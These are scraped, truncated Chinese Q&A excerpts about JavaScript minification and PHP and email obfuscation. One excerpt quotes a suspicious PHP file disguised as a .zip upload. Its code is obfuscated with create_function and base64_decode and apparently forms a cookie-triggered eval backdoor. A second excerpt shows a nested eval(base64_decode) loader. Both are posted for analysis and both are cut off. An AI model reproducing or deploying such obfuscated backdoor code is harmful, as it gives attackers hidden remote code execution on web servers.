鉴于丑化过程中涉及一些缩小，同时进行缩小和丑化是否仍然有意义？如果是，应该先缩小还是丑化？只做丑化就够了吗？两者都做的话代码会不会更困惑？ 最佳答案 两者之间没有真正的区别。甚至Uglify也称自己为缩小工具包。比较JS缩小与CSS缩小时，区别可能更相关-CSS缩小只涉及删除空格-原始代码保持不变。使用JS不仅可以删除空格，还可以对代码进行转换，例如将变量名chop为单个字符。精简JavaScript不仅会使源代码更小，还会降低代码的可读性，或者使代码变得模糊。但不要假设缩小或丑化，或任何你想称之为的安全措施是一种安全措施。这不是加
我的应用程序中有包含JavaScript和jQuery函数的JavaScript脚本。与我的应用程序的所有用户交互都是动态的，并且通过jQuery传递给应用程序。我意识到，当我运行我的应用程序时，在客户端，客户端可以通过查看页面源代码(Ctrl+U)来查看我的所有源代码。我怎样才能隐藏或做一些让用户无法理解或阅读源代码的事情？我想做一些像Facebook所做的事情。通过查看Facebook源代码，用户无法重用其源代码，甚至无法理解它。我搜索了一下，发现这个过程叫做混淆，但这对我不起作用。我试过这个:http://www.javascriptobfuscator.com/default.
按照目前的情况，这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持，但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开，visitthehelpcenter指导。关闭11年前。我想使用javascript混淆器。哪些是最受欢迎的？它们对性能有何影响？
我拥有一个数字商品市场，供应商上传了这个文件，它是一个zip文件，但在Windows中显示为损坏。当我在linux中打开它时，我震惊地发现文件本身是一个php文件，有人在其中添加了.zip扩展名。有没有人见过这样的代码？谁能帮我理解它？是恶意的吗？这就是我到目前为止所得到的。$xzfy=create_function(base64_decode(JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdtYScgJiYgJGMoJGEpPjMpeyRrPSdzZXJhdGknO2VjaG8gJzwnLiRrLic+JztldmFsKGJhc2
$o="QAAAOzh3b3cnYGJzWG9iZmNidQAgLy48Jzg5Cg0KDQGjbmlka3IAAGNiJy9TQkpXS0ZTQldGU08ABScpJyAoYGZra2J1fikEACADXIQABPFhaGhzBPU=";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOX
我看到了this在想知道是否存在PHP混淆器之后的线程。它给了我一个问题:如果PHP文件本来就不能下载/“反编译”，为什么有必要混淆PHP代码？ 最佳答案 它旨在混淆分布式PHP代码。例如，假设您要销售论坛系统但提供免费试用。如果有人可以进去并禁用付款支票，那么出售它有什么意义？ 关于php-PHP混淆有必要吗？，我们在StackOverflow上找到一个类似的问题： https://stackoverflow.com/questions/21577680/
这个问题不太可能帮助任何future的访问者；它只与一个小的地理区域、一个特定的时间点或一个非常狭窄的情况有关，这些情况并不普遍适用于互联网的全局受众。为了帮助使这个问题更广泛地适用，visitthehelpcenter.关闭9年前。情况很简单——之前的程序员被解雇了。他所做的最好的事情是混淆了PHP代码并删除了源文件。我尝试自己解码脚本，但代码在我更改后不起作用。也许有人可以帮助解码？pastebin.com/pfQtzgGxpastebin.com/wPaQ9L6Ypastebin.com/sgiEaCG0pastebin.com/xC0q55U2pastebin.com/pVXt
如果有人确切知道PHP的bcompiler有多有效/安全/protected，我很感兴趣反对逆向工程。介绍页大胆宣称:Intermsofcodeprotection,itissafetosaythatitwouldbeimpossibletorecreatetheexactsourcecodethatitwasbuiltfrom,andwithouttheaccompanyingsourcecodecomments.Itwouldeffectivelybeuselesstousethebcompilerbytecodestorecreateandmodifyaclass.也许关键词是“
我一直在阅读有关电子邮件混淆的内容。我发现了一篇题为BestMethodforEmailObfuscation?-ByJeffStarr的有趣帖子他在其中描述了SilvanMühlemann在1.5年的时间里进行的各种测试。根据这项研究，CSS混淆在整个1.5年的测试中100%有效，尽管它存在各种缺点。看到我之前一直在玩弄这种混淆方法，我决定再试一次，添加一个我遇到的php函数。函数如下://Convertsemailandtelintohtmlspecialcharactersfunctionconvert_email_adr($email){$pieces=str_split(tr
这个问题在这里已经有了答案:Canyou"compile"PHPcodeanduploadabinary-ishfile,whichwilljustberunbythebytecodeinterpreter?(14个答案)ObfuscatePHPcode[closed](7个答案)关闭7个月前。我需要加密一些已公开发布的PHP源代码。这可能吗？PHP可以“编译”吗？
